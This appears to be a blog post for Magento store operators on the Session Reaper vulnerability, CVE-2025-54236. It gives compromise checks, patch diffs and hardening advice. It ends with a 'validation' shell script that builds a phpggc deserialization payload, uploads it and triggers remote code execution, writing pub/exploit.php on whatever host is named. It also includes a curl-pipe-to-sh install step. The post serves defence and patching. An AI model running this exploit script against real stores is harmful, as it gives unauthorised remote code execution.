Session Reaper (CVE-2025-54236) is the latest major security vulnerability that offers unauthenticated RCE in the Magento ecosystem.

Originally reported and patches supplied a month or two ago. But in the last few days, we have seen attacks start to begin targeting this vulnerabilities. As public POC & technical writes up started to be published.

From my understanding, you are at risk if the following applies:

  • Has not applied the latest patch releases
  • Has not manually applied the Session Reaper patch
  • Uses File System Session Storage (NOT Redis)
  • Not using SanSec Shield WAF (Cloudflare block some attempts - not all)

Some good writeup’s on this topic are:

Have I Been Compromised?

As this is a multi layer attack, we need to check a few distinct vulnerabilities. But we will start at the end of the stack / most severe vulnerability.

1. Check for Backdoors

The end goal of the exploit is to get a backdoor / reverse shell on the target system. The best way to check for these, is by running Sansec Ecomscan. https://www.sdj.pw/posts/magento2-malware-scans/

But in short, can be achieved by running the following from the server.

curl "https://ecomscan.com" | sh

2. Session Files

If / when you are clear of backdoors, you can move onto the next step in the chain and check for malicious session file uploads. If you do find any, you should remove them.

We will address a permanent solution in the next section.

find pub/media/customer/address_file/s/e/ -type f

How to patch the vulnerabilities?

Again, as this is a multi layered attack, we need to patch / mitigate multiple vulnerabilities here. Again we will start with the most severe, and work our way down.

1. Patch Session Reaper (CVE-2025-54236)

To patch the Session Reaper exploit, Adobe has released an official patch, as well as included it in the latest patch releases.

diff --git a/vendor/magento/framework/Webapi/ServiceInputProcessor.php b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
index ba58dc2bc7acf..06919af36d2eb 100644
--- a/vendor/magento/framework/Webapi/ServiceInputProcessor.php
+++ b/vendor/magento/framework/Webapi/ServiceInputProcessor.php
@@ -246,6 +246,13 @@ private function getConstructorData(string $className, array $data): array
             if (isset($data[$parameter->getName()])) {
                 $parameterType = $this->typeProcessor->getParamType($parameter);
 
+                // Allow only simple types or Api Data Objects
+                if (!($this->typeProcessor->isTypeSimple($parameterType)
+                    || preg_match('~\\\\?\w+\\\\\w+\\\\Api\\\\Data\\\\~', $parameterType) === 1
+                )) {
+                    continue;
+                }
+
                 try {
                     $res[$parameter->getName()] = $this->convertValue($data[$parameter->getName()], $parameterType);
                 } catch (\ReflectionException $e) {

2. Malicious file upload

Adobe is aware of this, but there has been no official patch / communication on mitigate this threat. Instead we can take a layered approach to try and mitigate it to the best of our abilities.

2a. Sansec Shield

NOTE: You need to be running atleast version 1.0.14 to prevent the file uploads.

Sansec has a WAF offering, via a Magento Module called Shield. Highly recommended you install and enable this module, as it will prevent the file uploads. And the rules are constantly updated, and using Ecomscan results, they can ensure the rules are not bypassed.

2b. Disable Controller

Currently, the attackers are exploiting the Magento\Customer\Controller\Address\File\Upload controller. Blaklis has recommended in Slack to disable the controller if possible.

You can disable this controller entirely by applying the following patch. Ensure you check store functionality after applying.

--- a/vendor/magento/module-customer/Controller/Address/File/Upload.php
+++ b/vendor/magento/module-customer/Controller/Address/File/Upload.php
@@ -70,6 +70,7 @@
      */
     public function execute()
     {
+        http_response_code(400);exit;
         try {
             $requestedFiles = $this->getRequest()->getFiles('custom_attributes');
             if (empty($requestedFiles)) {

3. Bonus - PHP File Execution

NOTE: This can be circumvented, in the scope of Session Reaper. As they can replaced whitelisted files such as pub/static.php or pub/index.php

Ensure your web server rules do not allow execution of unrecognized PHP files from within the pub folder. But default the adobe recommended solution, only allows whitelisted files to be executed.

4. Bonus - ReadOnly FS

To help mitigate the fact that attackers can replace pub/static.php with malicious content. Ensure that your file system is read-only with write access only granted on required paths.

For example pub/static.php and pub/index.php do not need to be writeable, after initial creation.

Going forward, how do we improve security posture?

There are a few takeaways from Session Reaper, that we can take forward with us to reduce the scope of potential future threats.

1. Sansec Shield

Sansec Shield had rules in place from before the official patch release, to identify potential attempts at both stages of the exploit. And even if these succeeded, has additional rules to identify backdoor attempts.

2. ReadOnly File System

A readonly file system, significantly reduces the attack surface area. Especially when paired with a secure Nginx config (the default one is pretty good).

AFAIK, a read only file system with default nginx config, would prevent the backdoor attempts from being accessible.

3. Bulk Patching Infrastructure

If you are maintaining many stores, its valuable to have infrastructure in place to be able to bulk apply patches at scale quickly.

I’ve covered a few approaches to this with Ansible & a Magento module in the following post: https://www.sdj.pw/posts/magento2-patching

4. Sansec Ecomscan

As always, Ecomscan, is a highly valuable tool. Which will automatically identify and flag anything that bypasses the WAFs and stores that do not have the patch applied.

Validation

I’ve used the following script to confirm that disabling the upload controller stops the file uploads.

It could also be used to confirm if your store is vulnerable to the attack vectors, if you require a little bit of extra piece of mind.

After running you should find a file under pub/media/customer_address/s/e if your store is vulnerable to the file uploads. And a file under pub/exploit.php if you are vulnerable to Session Reaper.

NOTE: Use at own risk, No Guarantees etc etc

#!/usr/bin/env sh
# Script to confirm CVE-2025-54236 status
# Requires the absolute path to the Magento installation under the 2nd param
# Example Usage: ./CVE-2025-54236 https://app.magento.test /var/www/html
set -e

export LC_CTYPE=C LANG=C

usage() {
    echo "Usage: $0 <HOST> <ROOT>"
    echo "  HOST: Target host URL (e.g., http://target.com)"
    echo "  ROOT: Root path to Magento installation (e.g., /var/www/html)"
    exit 1
}

if [ "$#" -lt 2 ]; then
    usage
fi

if [ -n "$1" ]; then
    HOST="$1"
    shift
fi

if [ -n "$1" ]; then
    ROOT="$1"
    shift
fi

# Check if the phpggc tool is available.
if ! command -v phpggc >/dev/null 2>&1; then
    echo "phpggc is not installed or not found in PATH. Please install phpggc from https://github.com/Anonymous-Ghost/phpggc"
    exit 1
fi

# Variables
USERAGENT="${USERAGENT:-SamJUK-SecurityChecker/1.0}"

# Computed Variables
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)
TMP_PAYLOAD_RAW=$(mktemp)
TMP_PAYLOAD_FILE="/tmp/sess_$SESSID"

printf "=================================================\n"
printf "SamJUK Session Reaper Exploit Validation Script\n"
printf "\n"
printf " Target: %s\n" "$HOST"
printf " Root Path: %s\n" "$ROOT"
printf " User-Agent: %s\n" "$USERAGENT"
printf " Session ID: %s\n" "$SESSID"
printf "=================================================\n"

# Create Payload
printf "[i] Creating payload file ...\n\e[2m"
echo "<?php phpinfo(); ?>" > "$TMP_PAYLOAD_RAW"
phpggc -se -pub -a Guzzle/FW1 "$ROOT/pub/exploit.php" "$TMP_PAYLOAD_RAW" > "$TMP_PAYLOAD_FILE"
printf "\e[0m[i] Payload file created at %s\n\n" "$TMP_PAYLOAD_FILE"

# Upload Payload
printf "[i] Uploading payload file ...\n\e[2m"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
curl --header "User-Agent: $USERAGENT" -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@$TMP_PAYLOAD_FILE" "$HOST/customer/address_file/upload"
printf "\e[0m\n[i] Payload uploaded.\n\n"

# Trigger Payload
printf "[i] Triggering payload execution ...\n\e[2m"
curl --header "User-Agent: $USERAGENT" -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/samjuk-securitychecker/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
printf "\e[0m\n[i] Payload triggered.\n\n"

# Cleanup
printf "[i] Cleaning up generated files ...\n\e[2m"
rm -v "$TMP_PAYLOAD_RAW" "$TMP_PAYLOAD_FILE"
printf "\e[0m[i] Cleanup complete.\n\n"

# Completion Message
printf "=================================================\n"
printf "Exploit attempt complete.\n"
printf "\n"
printf "To confirm if the exploit was successful:\n"
printf "\n"
printf "1. File Upload Vulnerability:\n"
printf "  - Check if the file upload was successful by running \`find pub/media/customer_address/s/e/ -type f\`\n"
printf "  - Look for a file starting with 'sess_'\n"
printf "\n"
printf "2. Payload Execution:\n"
printf "  - Check for a file named 'exploit.php' in the 'pub' directory.\n"
printf "\n"
printf "3. Backdoor Execution:\n"
printf "  - Check if your store is configured incorrectly, and you can access arbitrary files via the URL: %s/pub/exploit.php\n" "$HOST"
printf "  - Note: If you cannot access the URL, it does not mean your site is safe. Malicious users may override pub/index.php and pub/static.php files if they are writeable.\n"
printf "\n"
printf "=================================================\n"

Conclusion

  • Apply patches & Security updates ASAP when they are released
  • Have bulk patching infrastructure to address urgent threats
  • Keep to best practices (Readonly FS, Secure NGX config etc)
  • Last, but not least, Don’t be stupid, use Sansec (Both Shield & Ecomscan),